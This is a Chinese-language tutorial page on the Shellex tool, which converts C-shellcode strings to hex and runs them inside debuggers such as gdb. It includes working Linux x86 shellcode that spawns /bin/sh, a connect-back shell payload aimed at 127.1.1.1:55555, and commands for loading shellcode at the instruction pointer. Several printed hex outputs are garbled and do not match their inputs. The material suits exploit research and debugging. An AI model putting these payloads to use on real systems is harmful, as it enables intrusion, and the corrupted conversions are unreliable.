温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

Shellex怎么用

发布时间:2021-12-18 10:29:21 阅读:203 作者:小新 栏目:数据安全
开发者测试专用服务器限时活动,0元免费领,库存有限,领完即止! 点击查看>>

这篇文章给大家分享的是有关Shellex怎么用的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

Shellex

Shellex是一款功能强大的C-shellcode转换器,可以帮助广大研究人员将C-shellcode转换为十六进制代码,并且能够在gdb、windbg、radare2、ollydbg、x64dbg、immunity调试器和010编辑器中粘贴和执行shellcode。

在Shellex的帮助下,广大研究人员可以将C-shellcode代码转换为十六进制代码,并且还可以在C编译器中编译时进行转换,整个过程只需要执行Shellex,并将shellcode代码拷贝进去并按下回车键即可。

比如说,我们可以转换多行混合了ASCII代码的C-shellcode(注意混合部分\x68//sh\x68/bin\x89):

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

Shellex输出如下:

617 58 31 DB CD 80 6058 99 52 68 2F 2F 73 68 68 2F 62 69 689 E3 52 53 89 E1 CD 80

转换包含注释代码的C-shellcode:

"\x68"

"\x7f\x01\x01\x01"  // <- IP:  127.1.1.1

"\x5e\x66\x68"

"\xd9\x03"          // <- Port: 55555

"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02"

"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79"

"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a"

"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f"

"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"

"\xeb\xce"

Shellex输出如下:

68 7F 01 01 01 566 68 D9 03 5F 666 58 99 601 552 53 602 89 E1 CD 80 93 59 B0 3F CD 80 49 79 F9 B0 66 56 66 57 66 602 89 E1 610 51 53 89 E1 CD 80 B0 052 68 2F 2F 73 68 68 2F 62 69 689 E3 52 53 EB CE

如果你需要Shellex输出新的C-shellcode字符串,可以使用-h参数,比如说:

./shellex -617 58 31 DB CD 80 6058 99 52 68 2F 2F 73 68 68 2F 62 69 689 E3 52 53 89 E1 CD 80

 

\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80

Shellex安装

首先,广大研究人员需要使用下列代码将该项目源码克隆至本地:

git clone https://github.com/David-Reguera-Garcia-Dreg/shellex.git

针对Windows:

shellex\bins\shellex.exe

针对Linux:

sudo apt-get install tcc

shellex/linuxbins/shellex

在gdb中复制和执行shellcode

首先,我们需要运行Shellex。

接下来,输入我们的shellcode:

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

按下回车键后,再按下Control+D键。

使用shellex -h命令将Shellex输出转换为C-Hex字符串:

shellex -617 58 31 DB CD 80 6058 99 52 68 2F 2F 73 68 68 2F 62 69 689 E3 52 53 89 E1 CD 80

将C-Hex字符串以源码形式(包含“echo”命令)写入至文件:

echo -ne "\x6A\x17\x58\x31\xDB\xCD\x80\x6A\x0B\x58\x99\x52\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x52\x53\x89\xE1\xCD\x80" > /tmp/sc

接下来,将源码文件写入当前指令指针。

32位:

restore /tmp/sc binary $eip

x/30b $eip

x/15i $eip

64位:

restore /tmp/sc binary $rip

x/30b $rip

x/15i $rip

x/30b是shellcode的字节大小,我们可以使用下列命令获取到大小值:

wc -c /tmp/sc

x/15i是显示的指令数量,我们可以使用ndisasm获取正确的数量:

sudo apt-get install nasm

32位:

ndisasm -b32 /tmp/sc

ndisasm -b32 /tmp/sc | wc -l

64位:

ndisasm -b64 /tmp/sc

ndisasm -b64 /tmp/sc | wc -l

无交互模式

在Linux中转换“\x6a\x17\x58\x31\xdb\xcd\x80”:

echo "\"\\x6a\\x17\\x58\\x31\\xdb\\xcd\\x80\"" | shellex

在Windows中转换“\x6a\x17\x58\x31\xdb\xcd\x80”:

echo "\x6a\x17\x58\x31\xdb\xcd\x80" | shellex.exe

Windows下写入多行文件:

C:\Users\Dreg\Desktop\shellex\bins>type sc.txt

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

C:\Users\Dreg\Desktop\shellex\bins>type sc.txt | shellex.exe

Linux下写入多行文件:

dreg@fr33project# cat sc.txt

"\x6a\x17\x58\x31\xdb\xcd\x80"

"\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"

dreg@fr33project# cat sc.txt | shellex

感谢各位的阅读!关于“Shellex怎么用”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!

亿速云「云服务器」,即开即用、新一代英特尔至强铂金CPU、三副本存储NVMe SSD云盘,价格低至29元/月。点击查看>>

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

原文链接:https://www.freebuf.com/articles/database/264587.html

AI

开发者交流群×